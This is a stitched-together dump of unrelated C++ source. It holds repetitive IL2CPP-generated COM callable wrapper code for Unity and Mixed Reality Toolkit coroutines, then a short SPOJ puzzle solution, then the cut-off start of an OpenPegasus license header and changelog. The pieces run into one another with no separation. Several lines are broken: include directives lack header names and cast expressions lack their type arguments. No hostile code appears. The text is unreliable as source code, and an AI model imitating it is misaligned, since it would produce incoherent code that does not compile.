IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_U3CWaitForSpeechCommandU3Ed__14_t31D238CDFDA8B756BD3DAC2BBA975B1A6CB410BE(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(U3CWaitForSpeechCommandU3Ed__14_t31D238CDFDA8B756BD3DAC2BBA975B1A6CB410BE_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) U3CWaitForSpeechCommandU3Ed__14_t31D238CDFDA8B756BD3DAC2BBA975B1A6CB410BE_ComCallableWrapper(obj)); } // COM Callable Wrapper for Microsoft.MixedReality.Toolkit.Examples.Demos.BoundsControlRuntimeExample/d__12 struct U3CSequenceU3Ed__12_tF40FA4F530C0552408136269A69F4C1D39006F19_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline U3CSequenceU3Ed__12_tF40FA4F530C0552408136269A69F4C1D39006F19_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_U3CSequenceU3Ed__12_tF40FA4F530C0552408136269A69F4C1D39006F19(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(U3CSequenceU3Ed__12_tF40FA4F530C0552408136269A69F4C1D39006F19_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) U3CSequenceU3Ed__12_tF40FA4F530C0552408136269A69F4C1D39006F19_ComCallableWrapper(obj)); } // COM Callable Wrapper for Microsoft.MixedReality.Toolkit.Examples.Demos.BoundsControlRuntimeExample/d__14 struct U3CWaitForSpeechCommandU3Ed__14_tDB3395D9E9611F276236B66FE075678B40CFB56F_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline U3CWaitForSpeechCommandU3Ed__14_tDB3395D9E9611F276236B66FE075678B40CFB56F_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_U3CWaitForSpeechCommandU3Ed__14_tDB3395D9E9611F276236B66FE075678B40CFB56F(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(U3CWaitForSpeechCommandU3Ed__14_tDB3395D9E9611F276236B66FE075678B40CFB56F_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) U3CWaitForSpeechCommandU3Ed__14_tDB3395D9E9611F276236B66FE075678B40CFB56F_ComCallableWrapper(obj)); } // COM Callable Wrapper for UnityEngine.UI.Button/d__9 struct U3COnFinishSubmitU3Ed__9_t270CA6BB596B5C583A2E70FB6BED90A6D04C43C0_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline U3COnFinishSubmitU3Ed__9_t270CA6BB596B5C583A2E70FB6BED90A6D04C43C0_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_U3COnFinishSubmitU3Ed__9_t270CA6BB596B5C583A2E70FB6BED90A6D04C43C0(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(U3COnFinishSubmitU3Ed__9_t270CA6BB596B5C583A2E70FB6BED90A6D04C43C0_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) U3COnFinishSubmitU3Ed__9_t270CA6BB596B5C583A2E70FB6BED90A6D04C43C0_ComCallableWrapper(obj)); } // COM Callable Wrapper for Microsoft.MixedReality.Toolkit.Experimental.InteractiveElement.CompressableButton/d__104 struct U3CAnimateHighlightPlateU3Ed__104_tA64E54346479D7D20A5C6B60947A82C97D58D3A2_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline U3CAnimateHighlightPlateU3Ed__104_tA64E54346479D7D20A5C6B60947A82C97D58D3A2_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_U3CAnimateHighlightPlateU3Ed__104_tA64E54346479D7D20A5C6B60947A82C97D58D3A2(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(U3CAnimateHighlightPlateU3Ed__104_tA64E54346479D7D20A5C6B60947A82C97D58D3A2_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) U3CAnimateHighlightPlateU3Ed__104_tA64E54346479D7D20A5C6B60947A82C97D58D3A2_ComCallableWrapper(obj)); } // COM Callable Wrapper for Microsoft.MixedReality.Toolkit.UI.CustomInteractablesReceiver/d__14 struct U3CClickTimerU3Ed__14_tEE17F23196797F9488E01F830D59FA9CD0FFEE76_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline U3CClickTimerU3Ed__14_tEE17F23196797F9488E01F830D59FA9CD0FFEE76_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_U3CClickTimerU3Ed__14_tEE17F23196797F9488E01F830D59FA9CD0FFEE76(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(U3CClickTimerU3Ed__14_tEE17F23196797F9488E01F830D59FA9CD0FFEE76_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) U3CClickTimerU3Ed__14_tEE17F23196797F9488E01F830D59FA9CD0FFEE76_ComCallableWrapper(obj)); } // COM Callable Wrapper for Microsoft.MixedReality.Toolkit.UI.CustomInteractablesReceiver/d__15 struct U3CVoiceTimerU3Ed__15_t2A4468F02A0C53B74CDBCDC66C96DE2E28CA47F5_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline U3CVoiceTimerU3Ed__15_t2A4468F02A0C53B74CDBCDC66C96DE2E28CA47F5_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_U3CVoiceTimerU3Ed__15_t2A4468F02A0C53B74CDBCDC66C96DE2E28CA47F5(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(U3CVoiceTimerU3Ed__15_t2A4468F02A0C53B74CDBCDC66C96DE2E28CA47F5_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) U3CVoiceTimerU3Ed__15_t2A4468F02A0C53B74CDBCDC66C96DE2E28CA47F5_ComCallableWrapper(obj)); } // COM Callable Wrapper for UnityEngine.Rendering.UI.DebugUIHandlerEnumHistory/d__4 struct U3CRefreshAfterSanitizationU3Ed__4_t589C066824EA129EAEB2462B0DBC190E03B4D9EE_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline U3CRefreshAfterSanitizationU3Ed__4_t589C066824EA129EAEB2462B0DBC190E03B4D9EE_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_U3CRefreshAfterSanitizationU3Ed__4_t589C066824EA129EAEB2462B0DBC190E03B4D9EE(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(U3CRefreshAfterSanitizationU3Ed__4_t589C066824EA129EAEB2462B0DBC190E03B4D9EE_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) U3CRefreshAfterSanitizationU3Ed__4_t589C066824EA129EAEB2462B0DBC190E03B4D9EE_ComCallableWrapper(obj)); } IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR uint32_t WindowsRuntimeBuffer_Windows_Storage_Streams_IBuffer_get_Capacity_mFCD1D3C1A5DC7CB389927A5529BCD86518ED0AB5_inline (WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 * __this, const RuntimeMethod* method) { { int32_t L_0 = __this->get__maxDataCapacity_4(); return L_0; } } IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR uint32_t WindowsRuntimeBuffer_Windows_Storage_Streams_IBuffer_get_Length_mBC04A275BE71FE110C0A6B94A66A5F9726F6461F_inline (WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 * __this, const RuntimeMethod* method) { { int32_t L_0 = __this->get__usefulDataLength_3(); return L_0; } } nsudhanva/CompetetiveSPOJ/Classic/CRDS.cpp #include using namespace std; int main() { int t; unsigned long long n, sum, fsum; cin >> t; int i, j; for(i = 0; i < t; i++){ // fsum = 0; // sum = 2; // cin >> n; // // for(j = 0; j < n; j++){ // //cout << sum << endl; // fsum = fsum + sum; // sum = sum + 3; // } // cout << fsum % 1000007 << endl; cin >> n; sum = (2 * n * (n + 1) / 2) + (n * (n - 1)/2); cout << sum % 1000007 << endl; } } //%LICENSE//////////////////////////////////////////////////////////////// // // Licensed to The Open Group (TOG) under one or more contributor license // agreements. Refer to the OpenPegasusNOTICE.txt file distributed with // this work for additional information regarding copyright ownership. // Each contributor licenses this file to you under the OpenPegasus Open // Source License; you may not use this file except in compliance with the // License. // // Permission is hereby granted, free of charge, to any person obtaining a // copy of this software and associated documentation files (the "Software"), // to deal in the Software without restriction, including without limitation // the rights to use, copy, modify, merge, publish, distribute, sublicense, // and/or sell copies of the Software, and to permit persons to whom the // Software is furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included // in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS // OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. // IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY // CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, // TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE // SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. // ////////////////////////////////////////////////////////////////////////// // //%//////////////////////////////////////////////////////////////////////////// // 12-Feb-08 // PTR 73-51-124,Made changes to display the primary owner name and contact // number in getPrimaryOwnerName() & getPrimaryOwnerContact() . // PTR 73-51-123,Made changes to UUID display format in // getIdentificationNumber(). // PTR 73-51-122 ,Made changes to system model display format in // getOtherIdentifyingInfo(). // 22-Aug-06 // PTR 73-51-30 , Made changes to replace sys$specific:[000000] // with "wbem_tmp:" logical in getInstallDate(). // // 11-July-06 // PTR 73-51-24 , Made changes to getInstallDate() and convertToCIMDateString() // functions to display InstallDate() // // 11-July-06 // PTR 73-51-23, Changes made to get the correct 